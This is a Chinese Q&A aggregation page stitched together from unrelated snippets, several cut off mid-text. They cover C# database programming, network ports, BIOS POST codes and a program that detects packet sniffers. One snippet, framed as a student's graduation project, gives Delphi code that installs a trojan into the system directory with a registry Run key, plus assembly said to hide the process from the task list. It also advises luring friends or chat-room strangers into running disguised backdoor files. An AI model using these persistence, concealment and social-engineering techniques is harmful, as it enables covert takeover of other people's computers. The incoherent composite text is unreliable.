我想用C#和sqlserver做一个多表的数据库程序,比如学生信息管理,...
拿学生信息管理举例:最简单的步骤1.创建数据库stu_db,新建表stuInfo(学生信息表),并建立相应的字段;2.写一个类clsDB,用于连接数据库;用SqlConnection对象;3.新建一个add.aspx页面,用来添加学生信息;4.新建一个show.aspx页面,用Repeater数据控件显示数据,此页面的主要功能有:(1)根据指定的学生编号删除学生信息、(2)链接到修改数据的页面,用问号传值将学生编号传到update.aspx页面;5.新建一个update.aspx页面,此页面用来修改学生信息,用Request对象接问号传值,根据接收的学生编号的值查询该编号所对应的学生信息,然后更新信息。
电脑上所谓的端口是什么啊,怎么查看自己的端口是多少?
展开全部 计算机"端口"是英文port的义译,可以认为是计算机与外界通讯交流的出口。
其中硬件领域的端口又称接口,如:USB端口、串行端口等。
软件领域的端口一般指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些数据结构和I/O(基本输入输出)缓冲区。
可以先了解面向连接和无连接协议(Connection-OrientedandConnectionlessProtocols)面向连接服务的主要特点有:面向连接服务要经过三个阶段:数据传数前,先建立连接,连接建立后再传输数据,数据传送完后,释放连接。
面向连接服务,可确保数据传送的次序和传输的可靠性。
无连接服务的特点是:无连接服务只有传输数据阶段。
消除了除数据通信外的其它开销。
只要发送实体是活跃的,无须接收实体也是活跃的。
它的优点是灵活方便、迅速,特别适合于传送少量零星的报文,但无连接服务不能防止报文的丢失、重复或失序。
区分"面向连接服务"和"无连接服务"的概念,特别简单、形象的例子是:打电话和写信。
两个人如果要通电话,必须先建立连接--拨号,等待应答后才能相互传递信息,最后还要释放连接--挂电话。
写信就没有那么复杂了,地址姓名填好以后直接往邮筒一扔,收信人就能收到。
TCP/IP协议在网络层是无连接的(数据包只管往网上发,如何传输和到达以及是否到达由网络设备来管理)。
而"端口",是传输层的内容,是面向连接的。
协议里面低于1024的端口都有确切的定义,它们对应着因特网上常见的一些服务。
这些常见的服务可以划分为使用TCP端口(面向连接如打电话)和使用UDP端口(无连接如写信)两种。
网络中可以被命名和寻址的通信端口是操作系统的一种可分配资源。
由网络OSI(开放系统互联参考模型,OpenSystemInterconnectionReferenceModel)七层协议可知,传输层与网络层最大的区别是传输层提供进程通信能力,网络通信的最终地址不仅包括主机地址,还包括可描述进程的某种标识。
所以TCP/IP协议提出的协议端口,可以认为是网络通信进程的一种标识符。
应用程序(调入内存运行后一般称为:进程)通过系统调用与某端口建立连接(binding,绑定)后,传输层传给该端口的数据都被相应的进程所接收,相应进程发给传输层的数据都从该端口输出。
在TCP/IP协议的实现中,端口操作类似于一般的I/O操作,进程获取一个端口,相当于获取本地唯一的I/O文件,可以用一般的读写方式访问类似于文件描述符,每个端口都拥有一个叫端口号的整数描述符,用来区别不同的端口。
由于TCP/IP传输层的TCP和UDP两个协议是两个完全独立的软件模块,因此各自的端口号也相互独立。
如TCP有一个255号端口,UDP也可以有一个255号端口,两者并不冲突。
端口号有两种基本分配方式:第一种叫全局分配这是一种集中分配方式,由一个公认权威的中央机构根据用户需要进行统一分配,并将结果公布于众,第二种是本地分配,又称动态连接,即进程需要访问传输层服务时,向本地操作系统提出申请,操作系统返回本地唯一的端口号,进程再通过合适的系统调用,将自己和该端口连接起来(binding,绑定)。
TCP/IP端口号的分配综合了以上两种方式,将端口号分为两部分,少量的作为保留端口,以全局方式分配给服务进程。
每一个标准服务器都拥有一个全局公认的端口叫周知口,即使在不同的机器上,其端口号也相同。
剩余的为自由端口,以本地方式进行分配。
TCP和UDP规定,小于256的端口才能作为保留端口。
按端口号可分为3大类:(1)公认端口(WellKnownPorts):从0到1023,它们紧密绑定(binding)于一些服务。
通常这些端口的通讯明确表明了某种服务的协议。
例如:80端口实际上总是HTTP通讯。
(2)注册端口(RegisteredPorts):从1024到49151。
它们松散地绑定于一些服务。
也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。
例如:许多系统处理动态端口从1024左右开始。
(3)动态和/或私有端口(Dynamicand/orPrivatePorts):从49152到65535。
理论上,不应为服务分配这些端口。
实际上,机器通常从1024起分配动态端口。
但也有例外:SUN的RPC端口从32768开始。
系统管理员可以"重定向"端口:一种常见的技术是把一个端口重定向到另一个地址。
例如默认的HTTP端口是80,不少人将它重定向到另一个端口,如8080。
如果是这样改了,要访问本文就应改用这个地址http://wwd.3322.net:8080/net/port.htm(当然,这仅仅是理论上的举例)。
实现重定向是为了隐藏公认的默认端口,降低受破坏率。
这样如果有人要对一个公认的默认端口进行攻击则必须先进行端口扫描。
大多数端口重定向与原端口有相似之处,例如多数HTTP端口由80变化而来:81,88,8000,8080,8888。
同样POP的端口原来在110,也常被重定向到1100。
也有不少情况是选取统计上有特别意义的数,象1234,23456,34567等。
许多人有其它原因选择奇怪的数,42,69,666,31337。
近来,越来越多的远程控制木马(RemoteAccessTrojans,RATs)采用相同的默认端口。
如NetBus的默认端口是12345。
BlakeR.Swope...
电脑网络中的“后门”是什么意思?
电脑网络中的“后门”即是网络的漏洞 一、问题的提出"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是著名匿名服务器站点Anonymizer上曾有过的一段话。
是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。
但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。
这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。
黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。
真正的黑客大多是赋有正义感的。
他们不会恶意侵入他人系统,并且破坏系统程序和数据。
但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。
现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。
现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。
接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。
可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。
经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。
本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。
在这里向各位老师汇报一下。
程序设计的语言用的是PASCAL,用DELPHI 4进行编译。
二、"特洛伊木马"如何入侵系统一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。
假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。
然后我们使用Client程序就可以控制该电脑了。
当然,后门程序如果不运行也就无法发挥作用。
因此,就要"诱骗"别人使用后门程序。
如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。
当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。
也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。
总之,要利用一切手段使人家运行后门程序。
木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。
修改方法一般是通过修改注册表:Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。
以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:unit Unit1;interfaceusesWindows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls,registry;typeTForm1 = class(TForm)Button1: TButton;Button2: TButton;procedure Button1Click(Sender: TObject);procedure Button2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end;varForm1: TForm1;implementation{$R *.DFM}procedure TForm1.Button1Click(Sender: TObject);varregf:tregistry;sysdir:pchar;temp:string;begingetmem(sysdir,256);getsystemdirectory(sysdir,128);temp:=sysdir+'\client.exe';freemem(sysdir,256);regf:=tregistry.create;regf.rootkey:=hkey_local_machine;regf.openkey('software\microsoft\windows\currentversion\run',true);regf.writestring(' ',temp);regf.free;copyfile(pchar('hacker.exe'),pchar(temp),true);end;procedure TForm1.Button2Click(Sender: TObject);beginclose;end;end.也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。
我还没有搞清楚这是怎样办到的。
在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:asmmov ebx,30hpush espush fspop esmov ebx,es:[ebx]pop esmov eax,10800000hxchg [ebx+20h],eaxend;为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应...
如何更改控件的Skin id
主板故障诊断卡代码查询手册 查表必读:(注意事项) 1、特殊代码“00”和“FF”及其它起始码有三种情况出现: ①已由一系列其它代码之后再出现:“00”或“FF”,则主板OK。
②如果将CMOS中设置无错误,则不严重的故障不会影响BIOS自检的继续,而最终出现“00”或“FF”。
③一开机就出现“00”或“FF”或其它起始代码并且不变化则为板没有运行起来。
2、本表是按代码值从小到大排序,卡中出码顺序不定。
3、未定义的代码表中未列出。
4、对于不同BIOS(常用的AMI、Award、Phoenix)用同一代码所代表的意义有所不同,因此应弄清您所检测的电脑是属于哪一种类型的BIOS,您可查问你的电脑使用手册,或从主板上的BIOS芯片上直接查看,也可以在启动屏幕时直接看到。
5、有少数主板的PCI槽只有前一部分代码出现,但ISA槽则有完整自检代码输出。
且目前已发现有极个别原装机主板的ISA槽无代码输出,而PCI槽则有完整代码输出,故建议您在查看代码不成功时,将本双槽卡换到另一种插槽试一下。
另外,同一块主板的不同PCI槽,有的槽有完整代码送出,如DELL810主板只有靠近CPU的一个PCI槽有完整的代码显示,一直变化到“00”或“FF”,而其它槽走到“38”则不继续变化。
6、复位信号所需时间ISA与PCI不一定同步,故有可能ISA开始出代码,但PCI的复位灯还不熄,故PCI代码停在起始码上。
代码 Award BIOS Ami BIOS Phoenix BIOS或Tandy 3000 BIOS 00 . 已显示系统的配置;即将控制INI19引导装入。
. 01 处理器测试1,处理器状态核实,如果测试失败,循环是无限的。
处理器寄存器的测试即将开始,不可屏蔽中断即将停用。
CPU寄存器测试正在进行或者失败。
02 确定诊断的类型(正常或者制造)。
如果键盘缓冲器含有数据就会失效。
停用不可屏蔽中断;通过延迟开始。
CMOS写入/读出正在进行或者失灵。
03 清除8042键盘控制器,发出TESTKBRD命令(AAH) 通电延迟已完成。
ROM BIOS检查部件正在进行或失灵。
04 使8042键盘控制器复位,核实TESTKBRD。
键盘控制器软复位/通电测试。
可编程间隔计时器的测试正在进行或失灵。
05 如果不断重复制造测试1至5,可获得8042控制状态。
已确定软复位/通电;即将启动ROM。
DMA初如准备正在进行或者失灵。
06 使电路片作初始准备,停用视频、奇偶性、DMA电路片,以及清除DMA电路片,所有页面寄存器和CMOS停机字节。
已启动ROM计算ROM BIOS检查总和,以及检查键盘缓冲器是否清除。
DMA初始页面寄存器读/写测试正在进行或失灵。
07 处理器测试2,核实CPU寄存器的工作。
ROM BIOS检查总和正常,键盘缓冲器已清除,向键盘发出BAT(基本保证测试)命令。
. 08 使CMOS计时器作初始准备,正常的更新计时器的循环。
已向键盘发出BAT命令,即将写入BAT命令。
RAM更新检验正在进行或失灵。
09 EPROM检查总和且必须等于零才通过。
核实键盘的基本保证测试,接着核实键盘命令字节。
第一个64K RAM测试正在进行。
0A 使视频接口作初始准备。
发出键盘命令字节代码,即将写入命令字节数据。
第一个64K RAM芯片或数据线失灵,移位。
0B 测试8254通道0。
写入键盘控制器命令字节,即将发出引脚23和24的封锁/解锁命令。
第一个64K RAM奇/偶逻辑失灵。
0C 测试8254通道1。
键盘控制器引脚23、24已封锁/解锁;已发出NOP命令。
第一个64K RAN的地址线故障。
0D 1、检查CPU速度是否与系统时钟相匹配。
2、检查控制芯片已编程值是否符合初设置。
3、视频通道测试,如果失败,则鸣喇叭。
已处理NOP命令;接着测试CMOS停开寄存器。
第一个64K RAM的奇偶性失灵 0E 测试CMOS停机字节。
CMOS停开寄存器读/写测试;将计算CMOS检查总和。
初始化输入/输出端口地址。
0F 测试扩展的CMOS。
已计算CMOS检查总和写入诊断字节;CMOS开始初始准备。
. 10 测试DMA通道0。
CMOS已作初始准备,CMOS状态寄存器即将为日期和时间作初始准备。
第一个64K RAM第0位故障。
11 测试DMA通道1。
CMOS状态寄存器已作初始准备,即将停用DMA和中断控制器。
第一个64DK RAM第1位故障。
12 测试DMA页面寄存器。
停用DMA控制器1以及中断控制器1和2;即将视频显示器并使端口B作初始准备。
第一个64DK RAM第2位故障。
13 测试8741键盘控制器接口。
视频显示器已停用,端口B已作初始准备;即将开始电路片初始化/存储器自动检测。
第一个64DK RAM第3位故障。
14 测试存储器更新触发电路。
电路片初始化/存储器处自动检测结束;8254计时器测试即将开始。
第一个64DK RAM第4位故障。
15 测试开头64K的系统存储器。
第2通道计时器测试了一半;8254第2通道计时器即将完成测试。
第一个64DK RAM第5位故障。
16 建立8259所用的中断矢量表。
第2通道计时器测试结束;8254第1通道计时器即将完成测试。
第一个64DK RAM第6位故障。
17 调准视频输入/输出工作,若装有视频BIOS则启用。
第1通道计时器测试结束;8254第0通道计时器即将完成测试。
第一个64DK RAM第7位故障。
18 测试视频存储...
端口的常用端口
展开全部 1 tcpmux TCP 端口服务多路复用2 rje 远程作业入口3 echo Echo 服务4 discard 用于连接测试的空服务5 systat 用于列举连接了的端口的系统状态6 daytime 给请求主机发送日期和时间7 qotd 给连接了的主机发送每日格言8 msp 消息发送协议9 chargen 字符生成服务;发送无止境的字符流10 ftp-data FTP 数据端口11 ftp 文件传输协议(FTP)端口;有时被文件服务协议(FSP)使用12 ssh 安全 Shell(SSH)服务13 telnet Telnet 服务14 smtp 简单邮件传输协议(SMTP)15 time 时间协议16 rlp 资源定位协议17 nameserver 互联网名称服务18 nicname WHOIS 目录服务19 tacacs 用于基于 TCP/IP 验证和访问的终端访问控制器访问控制系统20 re-mail-ck 远程邮件检查协议21 domain 域名服务(如 BIND)22 whois++ WHOIS++,被扩展了的 WHOIS 服务23 bootps 引导协议(BOOTP)服务;还被动态主机配置协议(DHCP)服务使用24 bootpc Bootstrap(BOOTP)客户;还被动态主机配置协议(DHCP)客户使用25 tftp 小文件传输协议(TFTP)26 gopher Gopher 互联网文档搜寻和检索 ...
如何检测Sniffer
正常情况下,就是说不在混乱模式,网卡检测是不是广播地址 要比较看收到的目的以太网址是否等于ff.ff.ff.ff.ff.ff 是则认为是广播地址。
在混乱模式时,网卡检测是不是广播地址只看收到包的目的以太 网址的第一个八位组值,是0xff则认为是广播地址。
利用这点细微差别就可以检测出Sniffer. Linux 以前就提出过,一些版本内核有这种问题: 当混杂模式时,每个包都被传到了操作系统内核以处理。
在处理某些包,只看IP地址而不看以太网头中的源物理地址。
所以: 使用一个不存在的目的MAC,正确的目的IP,受影响 的内核将会由于是混杂模式而处理它,并将之交给相应系统 堆栈处理。
从而实现检测Sniffer 总之,只要发一个以太网头中目的地址是ff.00.00.00.00.00 的ARP包(l0pht公司是ff.ff.ff.ff.ff.00)就可以检测出Linux和 Windows网卡处于混乱状态的计算机. 以下是一个Linux下用于检测Linux下Sniffer的程序,很多地方都贴 过了,我只改了一句话,这样也可以检测出Windows机器。
:) /* gcc -lbsd -O3 -o linuxanti linuxanti.c */ /* Network Promiscuous Ethernet Detector. Linux 2.0.x / 2.1.x, libc5 & GlibC ----------------------------------------- (c) 1998 savage@apostols.org ----------------------------------------- Scan your subnet, and detect promiscuous Windows & linuxes. It really works, not a joke. ----------------------------------------- $Id: neped.c,v 1.4 1998/07/20 22:31:52 savage Exp $ */ #include #include /* for nonblocking */ #include #include /* basic socket definitions */ #include /* for ifreq */ #include /* inet(3) functions */ #define ETH_P_ARP 0x0806 #define MAX_PACK_LEN 2000 #define ETHER_HEADER_LEN 14 #define ARPREQUEST 1 #define ARPREPLY 2 #define perr(s) fprintf(stderr,s) struct arp_struct { u_char dst_mac; u_char src_mac; u_short pkt_type; u_short hw_type; u_short pro_type; u_char hw_len; u_char pro_len; u_short arp_op; u_char sender_eth; u_char sender_ip; u_char target_eth; u_char target_ip; }; union { u_char full_packet[MAX_PACK_LEN]; struct arp_struct arp_pkt; } a; #define full_packet a.full_packet #define arp_pkt a.arp_pkt char * inetaddr ( u_int32_t ip ) { struct in_addr in; in.s_addr = ip; return inet_ntoa(in); } char * hwaddr (u_char * s) { static char buf[30]; sprintf (buf, "%02X:%02X:%02X:%02X:%02X:%02X", s[0], s, s, s, s, s); return buf; } void main (int argc, char **argv) { int rec; int len, from_len, rsflags; struct ifreq if_data; struct sockaddr from; u_int8_t myMAC; u_int32_t myIP, myNETMASK, myBROADCAST, ip, dip, sip; if (getuid () != 0) { perr ("You must be root to run this program!\\n"); exit (0); } if (argc != 2) { fprintf(stderr,"Usage: %s eth0\\n", argv[0]); exit (0); } if ((rec = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) My HW Addr: %s\\n", hwaddr (myMAC)); if (ioctl (rec, SIOCGIFADDR, &if_data) My IP Addr: %s\\n", inetaddr(ip)); if (ioctl (rec, SIOCGIFNETMASK, &if_data) My NETMASK: %s\\n", inetaddr(ip)); if (ioctl (rec, SIOCGIFBRDADDR, &if_data) My BROADCAST: %s\\n", inetaddr(ip)); if ((rsflags = fcntl (rec, F_GETFL)) == -1) { perror ("fcntl F_GETFL"); exit (1); } if (fcntl (rec, F_SETFL, rsflags | O_NONBLOCK) == -1) { perror ("fcntl F_SETFL"); exit (1); } printf ("----------------------------------------------------------\\n"); printf ("> Scanning ....\\n"); for (dip = (myIP & myNETMASK) + 1; dip < myBROADCAST; dip++) { bzero(full_packet, MAX_PACK_LEN); memcpy (arp_pkt.dst_mac, "\\255\\255\\255\\255\\255\\0", 6); /* ff:ff:ff:ff:ff:00 :) */ /* Only change this line! */ memcpy (arp_pkt.src_mac, myMAC, 6); arp_pkt.pkt_type = htons( ETH_P_ARP ); arp_pkt.hw_type = htons( 0x0001 ); arp_pkt.hw_len = 6; arp_pkt.pro_type = htons( 0x0800 ); arp_pkt.pro_len = 4; arp_pkt.arp_op = htons (ARPREQUEST); memcpy (arp_pkt.sender_eth, myMAC, 6); ip = htonl (myIP); memcpy (arp_pkt.sender_ip, &ip, 4); memcpy (arp_pkt.target_eth, "\\0\\0\\0\\0\\0\\0", 6); ip = htonl (dip); memcpy (arp_pkt.target_ip, &ip, 4); strcpy(from.sa_data, argv); from....
C#编程中如何改变DataTable里的某一条记录?
在DataSet中创建DataTable之后,就可以像对数据库中的表那样对DataTable执行操作,如添加、查看、编辑和删除数据,监视错误和事件以及查询数据等。
当修改DataTable中的数据时,可以验证更改是否准确,并且确定是否可以通过编程方式接受或拒绝更改。
1.插入新行在创建DataTable并使用列和约束定义其结构后,即可向表中添加新的数据行。
(1)创建一个新行若要向DataTable添加一新行,首先要声明一个DataRow类型的变量。
当调用NewRow方法时会返回一个新的DataRow对象。
然后DataTable根据DataColumnCollection定义的表的结构来创建DataRow对象。
DataRow drNewEmployee = drEmployees.NewRow(); (2)填充新行向DataTable添加了新行之后,可以使用索引或列名操作新行。
DataRow drNewEmployee = drEmployees.NewRow(); drNewEmployee[0] = 11; drNewEmployee[1]="smith"; drNewEmployee["EmployeeID"] = 11; drNewEmployee["EmpName"] = "Smith"; (3)向DataTable追加行在数据插入到新行后,使用Add方法将该行添加到DataRowCollection中。
dtEmp]oyees.Rows.Add(drNewEmployee); (4)使用代码来创建、填充和追加行也可以通过将一个Object类型的数组传递给Add方法来创建一个新行。
dtEmployees。
Rows.Add(New object(){11,"smith"}) 该方法在表中创建新行,并设置其列值为对象数组中的值。
注意:数组中的值根据它们在表中出现的顺序与列匹配。
2.更新表中的数据DataRow类为了在编辑数据时挂起和恢复数据行的状态提供了3个方法:BeginEdit、EndEdit和CancelEdit方法。
当编辑数据时,调用BeginEdit可以挂起任何事件(或异常),使用Items集合指定要修改的数据的列名和新值;使用EndEdit重新恢复任何事件(或异常);使用CancelEdit则可以回滚任何更改和重新激活任何事件或异常。
【实例10-2】 修改表中的数据。
下面演示了如何使用BeginEdit方法、Items集合和EndEdit方法。
//获取Employees表中的第4行数据 DataRow drEmployee = dtEmployees.Rows[3]; drEmployee.BeginEdit(); drEmployee("EmpName") = "John"; drEmployee("Title")="Sales"; drEmployee.EndEdit(); 3.删除行可以使用两种方法从DataTable对象中删除DataRow对象:DataRowCollection对象的Remove方法和DataRow对象的Delete方法。
Remove方法从DataRowCollection中删除DataRow;而Delete方法只对删除的行做标记,通常用于无连接环境中的数据。
(1)Remove方法如下面的示例代码所示,DataRowCollection的Remove方法把DataRow当作一个参数并从集合中删除它。
DataRow drEmployee = dtEmployees. Rows(3); dtEmployees.Rows.Remove(drEmployee); (2)Delete方法下面的示例代码说明了如何调用DataRow的Delete方法将RowState属性值更改为Deleted。
drEmployee Delete(); 4.实例分析制作一个可以向学生成绩数据集中添加数据和删除数据的窗口,在窗体中创建一个新的数据集Ds_Students,并创建一个表Dt_studentList"添加"按钮代码如下:private void button1_Click(object sender, System.EventArgs e) { //添加一新行 DataRow dr = Dt_studentlist.NewRow(); //向行的列中添加数据 dr[0] = t_xh.Text; dr[1] = t_xm.Text; dr[2] = t_bj.Text; dr[3] = t_kc.Text; dr[4] = t_lx.Text; dr[5] = int.Parse(t_cj.Text); dr[6] = int.Parse(t_xh.Text); //将新的行添加到DataSet中 Dt_studentlist.Rows.Add(dr); } "删除"按钮代码如下:private void button2_Click(object sender, System.EventArgs e) { //获取DataGridView上所选要删除行的行号 int index = dataGridView1.SelectedRows[0].Index; //找到用户选定的行 DataRow dr = Dt_studentlist.Rows[index]; //删除该行 dr.Delete(); } 【提示】在DataSet中修改数据,不等于在SQL Server数据库中修改数据。
在DataSet中修改数据,相当于在本地内存中的数据库修改数据,与SQL Server数据库无关,只有通过SqlDataAdapter将在DataSet中修改的数据更新回SQL Server数据库,服务器中的数据才有效。
展开
在Win2000系统里怎么控制各类端口?
最简单的是使用个人版天网防火墙,可以便捷操作你的端口开放关闭.1=传输控制协议端口服务多路开关选择器2=compressnet 管理实用程序3=压缩进程5=远程作业登录7=回显(Echo)9=丢弃11=在线用户12=我的测试端口13=时间15=netstat17=每日引用18=消息发送协议19=字符发生器20=文件传输协议(默认数据口)21=文件传输协议(控制)22=SSH远程登录协议23=telnet 终端仿真协议24=预留给个人用邮件系统25=smtp 简单邮件发送协议27=NSW 用户系统现场工程师29=MSG ICP31=MSG验证33=显示支持协议35=预留给个人打印机服务37=时间38=路由访问协议39=资源定位协议41=图形42=WINS 主机名服务43="绰号" who is服务44=MPM(消息处理模块)标志协议45=消息处理模块46=消息处理模块(默认发送口)47=NI FTP48=数码音频后台服务49=TACACS登录主机协议50=远程邮件检查协议51=IMP(接口信息处理机)逻辑地址维52=施乐网络服务系统时间协议53=域名服务器54=施乐网络服务系统票据交换55=ISI图形语言56=施乐网络服务系统验证57=预留个人用终端访问58=施乐网络服务系统邮件59=预留个人文件服务60=未定义61=NI邮件?62=异步通讯适配器服务63=WHOIS+64=通讯接口65=TACACS数据库服务66=Oracle SQL*NET67=引导程序协议服务端68=引导程序协议客户端69=小型文件传输协议70=信息检索协议71=远程作业服务72=远程作业服务73=远程作业服务74=远程作业服务75=预留给个人拨出服务76=分布式外部对象存储77=预留给个人远程作业输入服务78=修正TCP79=Finger(查询远程主机在线用户等信息)80=全球信息网超文本传输协议(www)81=HOST2名称服务82=传输实用程序83=模块化智能终端ML设备84=公用追踪设备85=模块化智能终端ML设备86=Micro Focus Cobol编程语言87=预留给个人终端连接88=Kerberros安全认证系统89=SU/MIT终端仿真网关90=DNSIX 安全属性标记图91=MIT Dover假脱机92=网络打印协议93=设备控制协议94=Tivoli对象调度95=SUPDUP96=DIXIE协议规范97=快速远程虚拟文件协议98=TAC(东京大学自动计算机)新闻协议99=Telnet服务,开99端口 (Troj.open99)101=usually from sri-nic102=iso-tsap103=gppitnp 104=acr-nema105=csnet-ns106=3com-tsmux 107=rtelnet108=snagas109=Post Office110=Pop3 服务器(邮箱发送服务器)111=sunrpc112=mcidas113=身份查询114=audionews115=sftp116=ansanotify117=path 或 uucp-path118=sqlserv119=新闻服务器120=cfdptkt 121=BO jammerkillah123=network124=ansatrader125=locus-map126=unitary127=locus-con128=gss-xlicen129=pwdgen130=cisco-fna131=cisco-tna132=cisco-sys133=statsrv134=ingres-net135=查询服务 DNS136=profile PROFILE Naming System 137=NetBIOS 数据报(UDP)138=NetBios-DGN139=共享资源端口(NetBios-SSN)140=emfis-data141=emfis-cntl142=bl-idm143=IMAP电子邮件144=NeWS145=uaac146=iso-tp0 147=iso-ip 148=jargon 149=aed-512150=sql-net 151=hems 152=bftp153=sgmp 154=netsc-prod155=netsc-dev 156=sqlsrv157=knet-cmp158=PCMAIL159=nss-routing160=sgmp-traps161=远程管理设备(SNMP)162=snmp-trap163=cmip-man164=cmip-agent165=xns-courier Xerox 166=s-net167=namp 168=rsvd 169=send 170=network Po171=multiplex Network 172=cl/1 Network173=xyplex-mux 174=mailq 175=vmnet176=genrad-mux 177=xdmcp178=nextstep179=bgp 180=ris 181=unify 182=audit183=ocbinder 184=ocserver 185=remote-kis186=kis187=aci188=mumps189=qft190=gacp191=prospero192=osu-nms193=srmp194=Irc195=dn6-nlm-aud196=dn6-smm-red197=dls198=dls-mon 199=smux 200=src IBM201=at-rtmp 202=at-nbp203=at-3204=at-echo205=at-5206=at-zis207=at-7208=at-8 209=qmtp210=z39.50 ANSI 211=914c/g212=anet 214=vmpwscs215=softpc Insignia Solutions 216=CAIlic217=dbase218=mpp219=uarps 220=imap3221=fln-spx222=rsh-spx223=cdc242=direct 243=sur-meas 244=dayna 245=link 246=dsp3270 247=subntbcst_tftp 248=bhfhs 256=rap257=set258=yak-chat259=esro-gen260=openport 263=hdap 264=bgmp 280=http-mgmt 309=entrusttime310=bhmds312=vslmp315=load316=decauth317=zannet321=pip344=pdap345=pawserv346=zserv347=fatserv348=csi-sgwp349=mftp 351=matip-type-b351=bhoetty353=ndsauth 354=bh611 357=bhevent 362=srssend365=dtk 366=odmr 368=qbikgdp 371=clearcase 372=ulistproc ListProcessor 373=legent-1374=legent-2 374=legent-2375=hassle 376=nip377=tnETOS378=dsETOS 379=is99c380=is99s381=hp-collector383=hp-alarm-mgr384=arns385=ibm-app386=asa387=aurp388=unidata-ldm389=ldap390=uis 391=synotics-relay393=dis394=embl-ndt395=netcp 396=netware-ip397=mptn398=kryptolan 399=iso-tsap-c2400=vmnet0401=ups ...
转载请注明出处51数据库 » es sender软件